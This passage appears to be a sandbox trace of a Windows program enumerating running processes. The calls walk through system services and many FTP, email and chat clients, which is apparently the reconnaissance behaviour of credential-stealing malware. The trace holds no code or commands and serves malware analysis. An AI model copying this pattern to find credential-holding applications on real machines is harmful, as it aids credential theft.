	[0085.979] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0085.979] lstrlenW (lpString="winlogon.exe") returned 12
	[0085.979] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0085.980] lstrlenW (lpString="services.exe") returned 12
	[0085.980] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0086.044] lstrlenW (lpString="lsass.exe") returned 9
	[0086.044] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.045] lstrlenW (lpString="svchost.exe") returned 11
	[0086.045] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0086.045] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0086.045] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0086.046] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0086.046] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.046] lstrlenW (lpString="svchost.exe") returned 11
	[0086.046] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0086.047] lstrlenW (lpString="dwm.exe") returned 7
	[0086.047] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.047] lstrlenW (lpString="svchost.exe") returned 11
	[0086.047] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.048] lstrlenW (lpString="svchost.exe") returned 11
	[0086.048] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.049] lstrlenW (lpString="svchost.exe") returned 11
	[0086.049] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.049] lstrlenW (lpString="svchost.exe") returned 11
	[0086.049] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.050] lstrlenW (lpString="svchost.exe") returned 11
	[0086.050] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.050] lstrlenW (lpString="svchost.exe") returned 11
	[0086.050] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.051] lstrlenW (lpString="svchost.exe") returned 11
	[0086.051] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.051] lstrlenW (lpString="svchost.exe") returned 11
	[0086.051] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.052] lstrlenW (lpString="svchost.exe") returned 11
	[0086.052] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.052] lstrlenW (lpString="svchost.exe") returned 11
	[0086.052] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0086.053] lstrlenW (lpString="spoolsv.exe") returned 11
	[0086.053] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.054] lstrlenW (lpString="svchost.exe") returned 11
	[0086.054] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0086.054] lstrlenW (lpString="audiodg.exe") returned 11
	[0086.054] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0086.055] lstrlenW (lpString="sihost.exe") returned 10
	[0086.055] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.055] lstrlenW (lpString="svchost.exe") returned 11
	[0086.055] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0086.056] lstrlenW (lpString="taskhostw.exe") returned 13
	[0086.056] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0086.056] lstrlenW (lpString="explorer.exe") returned 12
	[0086.056] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0086.057] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0086.057] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0086.057] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0086.057] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0086.058] lstrlenW (lpString="Memory Compression") returned 18
	[0086.058] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0086.059] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0086.059] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0086.059] lstrlenW (lpString="SearchUI.exe") returned 12
	[0086.059] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0086.060] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0086.060] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0086.060] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0086.060] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0086.061] lstrlenW (lpString="pending.exe") returned 11
	[0086.061] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0086.061] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0086.061] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0086.062] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0086.062] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0086.062] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0086.062] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0086.564] lstrlenW (lpString="search.exe") returned 10
	[0086.565] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0086.565] lstrlenW (lpString="compatibility.exe") returned 17
	[0086.565] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0086.566] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0086.566] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0086.566] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0086.566] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0086.567] lstrlenW (lpString="try.exe") returned 7
	[0086.567] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0086.567] lstrlenW (lpString="consultancy.exe") returned 15
	[0086.567] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0086.568] lstrlenW (lpString="especially.exe") returned 14
	[0086.568] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0086.568] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0086.568] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0086.569] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0086.569] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0086.569] lstrlenW (lpString="modules.exe") returned 11
	[0086.569] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0086.570] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0086.570] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0086.570] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0086.571] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0086.571] lstrlenW (lpString="3dftp.exe") returned 9
	[0086.571] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0086.572] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0086.572] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0086.572] lstrlenW (lpString="alftp.exe") returned 9
	[0086.572] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0086.573] lstrlenW (lpString="barca.exe") returned 9
	[0086.573] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0086.573] lstrlenW (lpString="bitkinex.exe") returned 12
	[0086.574] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0086.575] lstrlenW (lpString="coreftp.exe") returned 11
	[0086.575] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0086.576] lstrlenW (lpString="far.exe") returned 7
	[0086.576] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0086.577] lstrlenW (lpString="filezilla.exe") returned 13
	[0086.577] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0086.577] lstrlenW (lpString="flashfxp.exe") returned 12
	[0086.577] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0086.578] lstrlenW (lpString="fling.exe") returned 9
	[0086.578] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0086.579] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0086.579] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0086.580] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0086.580] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0086.581] lstrlenW (lpString="icq.exe") returned 7
	[0086.581] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0086.582] lstrlenW (lpString="leechftp.exe") returned 12
	[0086.582] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0086.583] lstrlenW (lpString="ncftp.exe") returned 9
	[0086.583] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0086.584] lstrlenW (lpString="notepad.exe") returned 11
	[0086.584] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0086.585] lstrlenW (lpString="operamail.exe") returned 13
	[0086.585] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0086.585] lstrlenW (lpString="pidgin.exe") returned 10
	[0086.586] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0086.586] lstrlenW (lpString="scriptftp.exe") returned 13
	[0086.586] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0086.587] lstrlenW (lpString="skype.exe") returned 9
	[0086.587] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0086.588] lstrlenW (lpString="smartftp.exe") returned 12
	[0086.588] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0086.589] lstrlenW (lpString="thunderbird.exe") returned 15
